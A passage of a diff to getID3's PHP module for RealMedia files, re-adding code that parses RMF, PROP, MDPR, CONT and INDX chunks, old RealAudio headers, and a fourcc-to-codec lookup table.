(isset($RealAudioCodecFourCClookup[$fourcc][$roundbitrate])) { - return $RealAudioCodecFourCClookup[$fourcc][$roundbitrate]; - } elseif (isset($RealAudioCodecFourCClookup[$fourcc][0])) { - return $RealAudioCodecFourCClookup[$fourcc][0]; - } - return $fourcc; - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio-video.real.php // +// module for analyzing Real Audio/Video files // +// dependencies: module.audio-video.riff.php // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); + +class getid3_real extends getid3_handler +{ + /** + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'real'; + $info['bitrate'] = 0; + $info['playtime_seconds'] = 0; + + $this->fseek($info['avdataoffset']); + $ChunkCounter = 0; + while ($this->ftell() < $info['avdataend']) { + $ChunkData = $this->fread(8); + $ChunkName = substr($ChunkData, 0, 4); + $ChunkSize = getid3_lib::BigEndian2Int(substr($ChunkData, 4, 4)); + + if ($ChunkName == '.ra'."\xFD") { + $ChunkData .= $this->fread($ChunkSize - 8); + if ($this->ParseOldRAheader(substr($ChunkData, 0, 128), $info['real']['old_ra_header'])) { + $info['audio']['dataformat'] = 'real'; + $info['audio']['lossless'] = false; + $info['audio']['sample_rate'] = $info['real']['old_ra_header']['sample_rate']; + $info['audio']['bits_per_sample'] = $info['real']['old_ra_header']['bits_per_sample']; + $info['audio']['channels'] = $info['real']['old_ra_header']['channels']; + + $info['playtime_seconds'] = 60 * ($info['real']['old_ra_header']['audio_bytes'] / $info['real']['old_ra_header']['bytes_per_minute']); + $info['audio']['bitrate'] = 8 * ($info['real']['old_ra_header']['audio_bytes'] / $info['playtime_seconds']); + $info['audio']['codec'] = $this->RealAudioCodecFourCClookup($info['real']['old_ra_header']['fourcc'], $info['audio']['bitrate']); + + foreach ($info['real']['old_ra_header']['comments'] as $key => $valuearray) { + if (strlen(trim($valuearray[0])) > 0) { + $info['real']['comments'][$key][] = trim($valuearray[0]); + } + } + return true; + } + $this->error('There was a problem parsing this RealAudio file. Please submit it for analysis to info@getid3.org'); + unset($info['bitrate']); + unset($info['playtime_seconds']); + return false; + } + + // shortcut + $info['real']['chunks'][$ChunkCounter] = array(); + $thisfile_real_chunks_currentchunk = &$info['real']['chunks'][$ChunkCounter]; + + $thisfile_real_chunks_currentchunk['name'] = $ChunkName; + $thisfile_real_chunks_currentchunk['offset'] = $this->ftell() - 8; + $thisfile_real_chunks_currentchunk['length'] = $ChunkSize; + if (($thisfile_real_chunks_currentchunk['offset'] + $thisfile_real_chunks_currentchunk['length']) > $info['avdataend']) { + $this->warning('Chunk "'.$thisfile_real_chunks_currentchunk['name'].'" at offset '.$thisfile_real_chunks_currentchunk['offset'].' claims to be '.$thisfile_real_chunks_currentchunk['length'].' bytes long, which is beyond end of file'); + return false; + } + + if ($ChunkSize > ($this->getid3->fread_buffer_size() + 8)) { + + $ChunkData .= $this->fread($this->getid3->fread_buffer_size() - 8); + $this->fseek($thisfile_real_chunks_currentchunk['offset'] + $ChunkSize); + + } elseif(($ChunkSize - 8) > 0) { + + $ChunkData .= $this->fread($ChunkSize - 8); + + } + $offset = 8; + + switch ($ChunkName) { + + case '.RMF': // RealMedia File Header + $thisfile_real_chunks_currentchunk['object_version'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); + $offset += 2; + switch ($thisfile_real_chunks_currentchunk['object_version']) { + + case 0: + $thisfile_real_chunks_currentchunk['file_version'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['headers_count'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + break; + + default: + //$this->warning('Expected .RMF-object_version to be "0", actual value is "'.$thisfile_real_chunks_currentchunk['object_version'].'" (should not be a problem)'); + break; + + } + break; + + + case 'PROP': // Properties Header + $thisfile_real_chunks_currentchunk['object_version'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); + $offset += 2; + if ($thisfile_real_chunks_currentchunk['object_version'] == 0) { + $thisfile_real_chunks_currentchunk['max_bit_rate'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['avg_bit_rate'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['max_packet_size'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['avg_packet_size'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['num_packets'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['duration'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['preroll'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['index_offset'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['data_offset'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['num_streams'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); + $offset += 2; + $thisfile_real_chunks_currentchunk['flags_raw'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); + $offset += 2; + $info['playtime_seconds'] = $thisfile_real_chunks_currentchunk['duration'] / 1000; + if ($thisfile_real_chunks_currentchunk['duration'] > 0) { + $info['bitrate'] += $thisfile_real_chunks_currentchunk['avg_bit_rate']; + } + $thisfile_real_chunks_currentchunk['flags']['save_enabled'] = (bool) ($thisfile_real_chunks_currentchunk['flags_raw'] & 0x0001); + $thisfile_real_chunks_currentchunk['flags']['perfect_play'] = (bool) ($thisfile_real_chunks_currentchunk['flags_raw'] & 0x0002); + $thisfile_real_chunks_currentchunk['flags']['live_broadcast'] = (bool) ($thisfile_real_chunks_currentchunk['flags_raw'] & 0x0004); + } + break; + + case 'MDPR': // Media Properties Header + $thisfile_real_chunks_currentchunk['object_version'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); + $offset += 2; + if ($thisfile_real_chunks_currentchunk['object_version'] == 0) { + $thisfile_real_chunks_currentchunk['stream_number'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); + $offset += 2; + $thisfile_real_chunks_currentchunk['max_bit_rate'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['avg_bit_rate'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['max_packet_size'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['avg_packet_size'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['start_time'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['preroll'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['duration'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['stream_name_size'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 1)); + $offset += 1; + $thisfile_real_chunks_currentchunk['stream_name'] = substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['stream_name_size']); + $offset += $thisfile_real_chunks_currentchunk['stream_name_size']; + $thisfile_real_chunks_currentchunk['mime_type_size'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 1)); + $offset += 1; + $thisfile_real_chunks_currentchunk['mime_type'] = substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['mime_type_size']); + $offset += $thisfile_real_chunks_currentchunk['mime_type_size']; + $thisfile_real_chunks_currentchunk['type_specific_len'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['type_specific_data'] = substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['type_specific_len']); + $offset += $thisfile_real_chunks_currentchunk['type_specific_len']; + + // shortcut + $thisfile_real_chunks_currentchunk_typespecificdata = &$thisfile_real_chunks_currentchunk['type_specific_data']; + + switch ($thisfile_real_chunks_currentchunk['mime_type']) { + case 'video/x-pn-realvideo': + case 'video/x-pn-multirate-realvideo': + // http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html + + // shortcut + $thisfile_real_chunks_currentchunk['video_info'] = array(); + $thisfile_real_chunks_currentchunk_videoinfo = &$thisfile_real_chunks_currentchunk['video_info']; + + $thisfile_real_chunks_currentchunk_videoinfo['dwSize'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 0, 4)); + $thisfile_real_chunks_currentchunk_videoinfo['fourcc1'] = substr($thisfile_real_chunks_currentchunk_typespecificdata, 4, 4); + $thisfile_real_chunks_currentchunk_videoinfo['fourcc2'] = substr($thisfile_real_chunks_currentchunk_typespecificdata, 8, 4); + $thisfile_real_chunks_currentchunk_videoinfo['width'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 12, 2)); + $thisfile_real_chunks_currentchunk_videoinfo['height'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 14, 2)); + $thisfile_real_chunks_currentchunk_videoinfo['bits_per_sample'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 16, 2)); + //$thisfile_real_chunks_currentchunk_videoinfo['unknown1'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 18, 2)); + //$thisfile_real_chunks_currentchunk_videoinfo['unknown2'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 20, 2)); + $thisfile_real_chunks_currentchunk_videoinfo['frames_per_second'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 22, 2)); + //$thisfile_real_chunks_currentchunk_videoinfo['unknown3'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 24, 2)); + //$thisfile_real_chunks_currentchunk_videoinfo['unknown4'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 26, 2)); + //$thisfile_real_chunks_currentchunk_videoinfo['unknown5'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 28, 2)); + //$thisfile_real_chunks_currentchunk_videoinfo['unknown6'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 30, 2)); + //$thisfile_real_chunks_currentchunk_videoinfo['unknown7'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 32, 2)); + //$thisfile_real_chunks_currentchunk_videoinfo['unknown8'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 34, 2)); + //$thisfile_real_chunks_currentchunk_videoinfo['unknown9'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 36, 2)); + + $thisfile_real_chunks_currentchunk_videoinfo['codec'] = getid3_riff::fourccLookup($thisfile_real_chunks_currentchunk_videoinfo['fourcc2']); + + $info['video']['resolution_x'] = $thisfile_real_chunks_currentchunk_videoinfo['width']; + $info['video']['resolution_y'] = $thisfile_real_chunks_currentchunk_videoinfo['height']; + $info['video']['frame_rate'] = (float) $thisfile_real_chunks_currentchunk_videoinfo['frames_per_second']; + $info['video']['codec'] = $thisfile_real_chunks_currentchunk_videoinfo['codec']; + $info['video']['bits_per_sample'] = $thisfile_real_chunks_currentchunk_videoinfo['bits_per_sample']; + break; + + case 'audio/x-pn-realaudio': + case 'audio/x-pn-multirate-realaudio': + $this->ParseOldRAheader($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk['parsed_audio_data']); + + $info['audio']['sample_rate'] = $thisfile_real_chunks_currentchunk['parsed_audio_data']['sample_rate']; + $info['audio']['bits_per_sample'] = $thisfile_real_chunks_currentchunk['parsed_audio_data']['bits_per_sample']; + $info['audio']['channels'] = $thisfile_real_chunks_currentchunk['parsed_audio_data']['channels']; + if (!empty($info['audio']['dataformat'])) { + foreach ($info['audio'] as $key => $value) { + if ($key != 'streams') { + $info['audio']['streams'][$thisfile_real_chunks_currentchunk['stream_number']][$key] = $value; + } + } + } + break; + + case 'logical-fileinfo': + // shortcut + $thisfile_real_chunks_currentchunk['logical_fileinfo'] = array(); + $thisfile_real_chunks_currentchunk_logicalfileinfo = &$thisfile_real_chunks_currentchunk['logical_fileinfo']; + + $thisfile_real_chunks_currentchunk_logicalfileinfo_offset = 0; + $thisfile_real_chunks_currentchunk_logicalfileinfo['logical_fileinfo_length'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 4)); + $thisfile_real_chunks_currentchunk_logicalfileinfo_offset += 4; + + //$thisfile_real_chunks_currentchunk_logicalfileinfo['unknown1'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 4)); + $thisfile_real_chunks_currentchunk_logicalfileinfo_offset += 4; + + $thisfile_real_chunks_currentchunk_logicalfileinfo['num_tags'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 4)); + $thisfile_real_chunks_currentchunk_logicalfileinfo_offset += 4; + + //$thisfile_real_chunks_currentchunk_logicalfileinfo['unknown2'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 4)); + $thisfile_real_chunks_currentchunk_logicalfileinfo_offset += 4; + + //$thisfile_real_chunks_currentchunk_logicalfileinfo['d'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 1)); + + //$thisfile_real_chunks_currentchunk_logicalfileinfo['one_type'] = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 4)); + //$thisfile_real_chunks_currentchunk_logicalfileinfo_thislength = getid3_lib::BigEndian2Int(substr($thisfile_real_chunks_currentchunk_typespecificdata, 4 + $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, 2)); + //$thisfile_real_chunks_currentchunk_logicalfileinfo['one'] = substr($thisfile_real_chunks_currentchunk_typespecificdata, 6 + $thisfile_real_chunks_currentchunk_logicalfileinfo_offset, $thisfile_real_chunks_currentchunk_logicalfileinfo_thislength); + //$thisfile_real_chunks_currentchunk_logicalfileinfo_offset += (6 + $thisfile_real_chunks_currentchunk_logicalfileinfo_thislength); + + break; + + } + + + if (empty($info['playtime_seconds'])) { + $info['playtime_seconds'] = max($info['playtime_seconds'], ($thisfile_real_chunks_currentchunk['duration'] + $thisfile_real_chunks_currentchunk['start_time']) / 1000); + } + if ($thisfile_real_chunks_currentchunk['duration'] > 0) { + switch ($thisfile_real_chunks_currentchunk['mime_type']) { + case 'audio/x-pn-realaudio': + case 'audio/x-pn-multirate-realaudio': + $info['audio']['bitrate'] = (isset($info['audio']['bitrate']) ? $info['audio']['bitrate'] : 0) + $thisfile_real_chunks_currentchunk['avg_bit_rate']; + $info['audio']['codec'] = $this->RealAudioCodecFourCClookup($thisfile_real_chunks_currentchunk['parsed_audio_data']['fourcc'], $info['audio']['bitrate']); + $info['audio']['dataformat'] = 'real'; + $info['audio']['lossless'] = false; + break; + + case 'video/x-pn-realvideo': + case 'video/x-pn-multirate-realvideo': + $info['video']['bitrate'] = (isset($info['video']['bitrate']) ? $info['video']['bitrate'] : 0) + $thisfile_real_chunks_currentchunk['avg_bit_rate']; + $info['video']['bitrate_mode'] = 'cbr'; + $info['video']['dataformat'] = 'real'; + $info['video']['lossless'] = false; + $info['video']['pixel_aspect_ratio'] = (float) 1; + break; + + case 'audio/x-ralf-mpeg4-generic': + $info['audio']['bitrate'] = (isset($info['audio']['bitrate']) ? $info['audio']['bitrate'] : 0) + $thisfile_real_chunks_currentchunk['avg_bit_rate']; + $info['audio']['codec'] = 'RealAudio Lossless'; + $info['audio']['dataformat'] = 'real'; + $info['audio']['lossless'] = true; + break; + } + $info['bitrate'] = (isset($info['video']['bitrate']) ? $info['video']['bitrate'] : 0) + (isset($info['audio']['bitrate']) ? $info['audio']['bitrate'] : 0); + } + } + break; + + case 'CONT': // Content Description Header (text comments) + $thisfile_real_chunks_currentchunk['object_version'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); + $offset += 2; + if ($thisfile_real_chunks_currentchunk['object_version'] == 0) { + $thisfile_real_chunks_currentchunk['title_len'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); + $offset += 2; + $thisfile_real_chunks_currentchunk['title'] = (string) substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['title_len']); + $offset += $thisfile_real_chunks_currentchunk['title_len']; + + $thisfile_real_chunks_currentchunk['artist_len'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); + $offset += 2; + $thisfile_real_chunks_currentchunk['artist'] = (string) substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['artist_len']); + $offset += $thisfile_real_chunks_currentchunk['artist_len']; + + $thisfile_real_chunks_currentchunk['copyright_len'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); + $offset += 2; + $thisfile_real_chunks_currentchunk['copyright'] = (string) substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['copyright_len']); + $offset += $thisfile_real_chunks_currentchunk['copyright_len']; + + $thisfile_real_chunks_currentchunk['comment_len'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); + $offset += 2; + $thisfile_real_chunks_currentchunk['comment'] = (string) substr($ChunkData, $offset, $thisfile_real_chunks_currentchunk['comment_len']); + $offset += $thisfile_real_chunks_currentchunk['comment_len']; + + + $commentkeystocopy = array('title'=>'title', 'artist'=>'artist', 'copyright'=>'copyright', 'comment'=>'comment'); + foreach ($commentkeystocopy as $key => $val) { + if ($thisfile_real_chunks_currentchunk[$key]) { + $info['real']['comments'][$val][] = trim($thisfile_real_chunks_currentchunk[$key]); + } + } + + } + break; + + + case 'DATA': // Data Chunk Header + // do nothing + break; + + case 'INDX': // Index Section Header + $thisfile_real_chunks_currentchunk['object_version'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); + $offset += 2; + if ($thisfile_real_chunks_currentchunk['object_version'] == 0) { + $thisfile_real_chunks_currentchunk['num_indices'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + $thisfile_real_chunks_currentchunk['stream_number'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 2)); + $offset += 2; + $thisfile_real_chunks_currentchunk['next_index_header'] = getid3_lib::BigEndian2Int(substr($ChunkData, $offset, 4)); + $offset += 4; + + if ($thisfile_real_chunks_currentchunk['next_index_header'] == 0) { + // last index chunk found, ignore rest of file + break 2; + } else { + // non-last index chunk, seek to next index chunk (skipping actual index data) + $this->fseek($thisfile_real_chunks_currentchunk['next_index_header']); + } + } + break; + + default: + $this->warning('Unhandled RealMedia chunk "'.$ChunkName.'" at offset '.$thisfile_real_chunks_currentchunk['offset']); + break; + } + $ChunkCounter++; + } + + if (!empty($info['audio']['streams'])) { + $info['audio']['bitrate'] = 0; + foreach ($info['audio']['streams'] as $key => $valuearray) { + $info['audio']['bitrate'] += $valuearray['bitrate']; + } + } + + return true; + } + + /** + * @param string $OldRAheaderData + * @param array $ParsedArray + * + * @return bool + */ + public function ParseOldRAheader($OldRAheaderData, &$ParsedArray) { + // http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html + + $ParsedArray = array(); + $ParsedArray['magic'] = substr($OldRAheaderData, 0, 4); + if ($ParsedArray['magic'] != '.ra'."\xFD") { + return false; + } + $ParsedArray['version1'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 4, 2)); + + if ($ParsedArray['version1'] < 3) { + + return false; + + } elseif ($ParsedArray['version1'] == 3) { + + $ParsedArray['fourcc1'] = '.ra3'; + $ParsedArray['bits_per_sample'] = 16; // hard-coded for old versions? + $ParsedArray['sample_rate'] = 8000; // hard-coded for old versions? + + $ParsedArray['header_size'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 6, 2)); + $ParsedArray['channels'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 8, 2)); // always 1 (?) + //$ParsedArray['unknown1'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 10, 2)); + //$ParsedArray['unknown2'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 12, 2)); + //$ParsedArray['unknown3'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 14, 2)); + $ParsedArray['bytes_per_minute'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 16, 2)); + $ParsedArray['audio_bytes'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 18, 4)); + $ParsedArray['comments_raw'] = substr($OldRAheaderData, 22, $ParsedArray['header_size'] - 22 + 1); // not including null terminator + + $commentoffset = 0; + $commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1)); + $ParsedArray['comments']['title'][] = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength); + $commentoffset += $commentlength; + + $commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1)); + $ParsedArray['comments']['artist'][] = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength); + $commentoffset += $commentlength; + + $commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1)); + $ParsedArray['comments']['copyright'][] = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength); + $commentoffset += $commentlength; + + $commentoffset++; // final null terminator (?) + $commentoffset++; // fourcc length (?) should be 4 + $ParsedArray['fourcc'] = substr($OldRAheaderData, 23 + $commentoffset, 4); + + } elseif ($ParsedArray['version1'] <= 5) { + + //$ParsedArray['unknown1'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 6, 2)); + $ParsedArray['fourcc1'] = substr($OldRAheaderData, 8, 4); + $ParsedArray['file_size'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 12, 4)); + $ParsedArray['version2'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 16, 2)); + $ParsedArray['header_size'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 18, 4)); + $ParsedArray['codec_flavor_id'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 22, 2)); + $ParsedArray['coded_frame_size'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 24, 4)); + $ParsedArray['audio_bytes'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 28, 4)); + $ParsedArray['bytes_per_minute'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 32, 4)); + //$ParsedArray['unknown5'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 36, 4)); + $ParsedArray['sub_packet_h'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 40, 2)); + $ParsedArray['frame_size'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 42, 2)); + $ParsedArray['sub_packet_size'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 44, 2)); + //$ParsedArray['unknown6'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 46, 2)); + + switch ($ParsedArray['version1']) { + + case 4: + $ParsedArray['sample_rate'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 48, 2)); + //$ParsedArray['unknown8'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 50, 2)); + $ParsedArray['bits_per_sample'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 52, 2)); + $ParsedArray['channels'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 54, 2)); + $ParsedArray['length_fourcc2'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 56, 1)); + $ParsedArray['fourcc2'] = substr($OldRAheaderData, 57, 4); + $ParsedArray['length_fourcc3'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 61, 1)); + $ParsedArray['fourcc3'] = substr($OldRAheaderData, 62, 4); + //$ParsedArray['unknown9'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 66, 1)); + //$ParsedArray['unknown10'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 67, 2)); + $ParsedArray['comments_raw'] = substr($OldRAheaderData, 69, $ParsedArray['header_size'] - 69 + 16); + + $commentoffset = 0; + $commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1)); + $ParsedArray['comments']['title'][] = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength); + $commentoffset += $commentlength; + + $commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1)); + $ParsedArray['comments']['artist'][] = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength); + $commentoffset += $commentlength; + + $commentlength = getid3_lib::BigEndian2Int(substr($ParsedArray['comments_raw'], $commentoffset++, 1)); + $ParsedArray['comments']['copyright'][] = substr($ParsedArray['comments_raw'], $commentoffset, $commentlength); + $commentoffset += $commentlength; + break; + + case 5: + $ParsedArray['sample_rate'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 48, 4)); + $ParsedArray['sample_rate2'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 52, 4)); + $ParsedArray['bits_per_sample'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 56, 4)); + $ParsedArray['channels'] = getid3_lib::BigEndian2Int(substr($OldRAheaderData, 60, 2)); + $ParsedArray['genr'] = substr($OldRAheaderData, 62, 4); + $ParsedArray['fourcc3'] = substr($OldRAheaderData, 66, 4); + $ParsedArray['comments'] = array(); + break; + } + $ParsedArray['fourcc'] = $ParsedArray['fourcc3']; + + } + /** @var string[]|false[] $value */ + foreach ($ParsedArray['comments'] as $key => $value) { + if ($value[0] === false) { + $ParsedArray['comments'][$key][0] = ''; + } + } + + return true; + } + + /** + * @param string $fourcc + * @param int $bitrate + * + * @return string + */ + public function RealAudioCodecFourCClookup($fourcc, $bitrate) { + static $RealAudioCodecFourCClookup = array(); + if (empty($RealAudioCodecFourCClookup)) { + // http://www.its.msstate.edu/net/real/reports/config/tags.stats + // http://www.freelists.org/archives/matroska-devel/06-2003/fullthread18.html + + $RealAudioCodecFourCClookup['14_4'][8000] = 'RealAudio v2 (14.4kbps)'; + $RealAudioCodecFourCClookup['14.4'][8000] = 'RealAudio v2 (14.4kbps)'; + $RealAudioCodecFourCClookup['lpcJ'][8000] = 'RealAudio v2 (14.4kbps)'; + $RealAudioCodecFourCClookup['28_8'][15200] = 'RealAudio v2 (28.8kbps)'; + $RealAudioCodecFourCClookup['28.8'][15200] = 'RealAudio v2 (28.8kbps)'; + $RealAudioCodecFourCClookup['sipr'][4933] = 'RealAudio v4 (5kbps Voice)'; + $RealAudioCodecFourCClookup['sipr'][6444] = 'RealAudio v4 (6.5kbps Voice)'; + $RealAudioCodecFourCClookup['sipr'][8444] = 'RealAudio v4 (8.5kbps Voice)'; + $RealAudioCodecFourCClookup['sipr'][16000] = 'RealAudio v4 (16kbps Wideband)'; + $RealAudioCodecFourCClookup['dnet'][8000] = 'RealAudio v3 (8kbps Music)'; + $RealAudioCodecFourCClookup['dnet'][16000] = 'RealAudio v3 (16kbps Music Low Response)'; + $RealAudioCodecFourCClookup['dnet'][15963] = 'RealAudio v3 (16kbps Music Mid/High Response)'; + $RealAudioCodecFourCClookup['dnet'][20000] = 'RealAudio v3 (20kbps Music Stereo)'; + $RealAudioCodecFourCClookup['dnet'][32000] = 'RealAudio v3 (32kbps Music Mono)'; + $RealAudioCodecFourCClookup['dnet'][31951] = 'RealAudio v3 (32kbps Music Stereo)'; + $RealAudioCodecFourCClookup['dnet'][39965] = 'RealAudio v3 (40kbps Music Mono)'; + $RealAudioCodecFourCClookup['dnet'][40000] = 'RealAudio v3 (40kbps Music Stereo)'; + $RealAudioCodecFourCClookup['dnet'][79947] = 'RealAudio v3 (80kbps Music Mono)'; + $RealAudioCodecFourCClookup['dnet'][80000] = 'RealAudio v3 (80kbps Music Stereo)'; + + $RealAudioCodecFourCClookup['dnet'][0] = 'RealAudio v3'; + $RealAudioCodecFourCClookup['sipr'][0] = 'RealAudio v4'; + $RealAudioCodecFourCClookup['cook'][0] = 'RealAudio G2'; + $RealAudioCodecFourCClookup['atrc'][0] = 'RealAudio 8'; + } + $roundbitrate = intval(round($bitrate)); + if (isset($RealAudioCodecFourCClookup[$fourcc][$roundbitrate])) { + return $RealAudioCodecFourCClookup[$fourcc][$roundbitrate]; 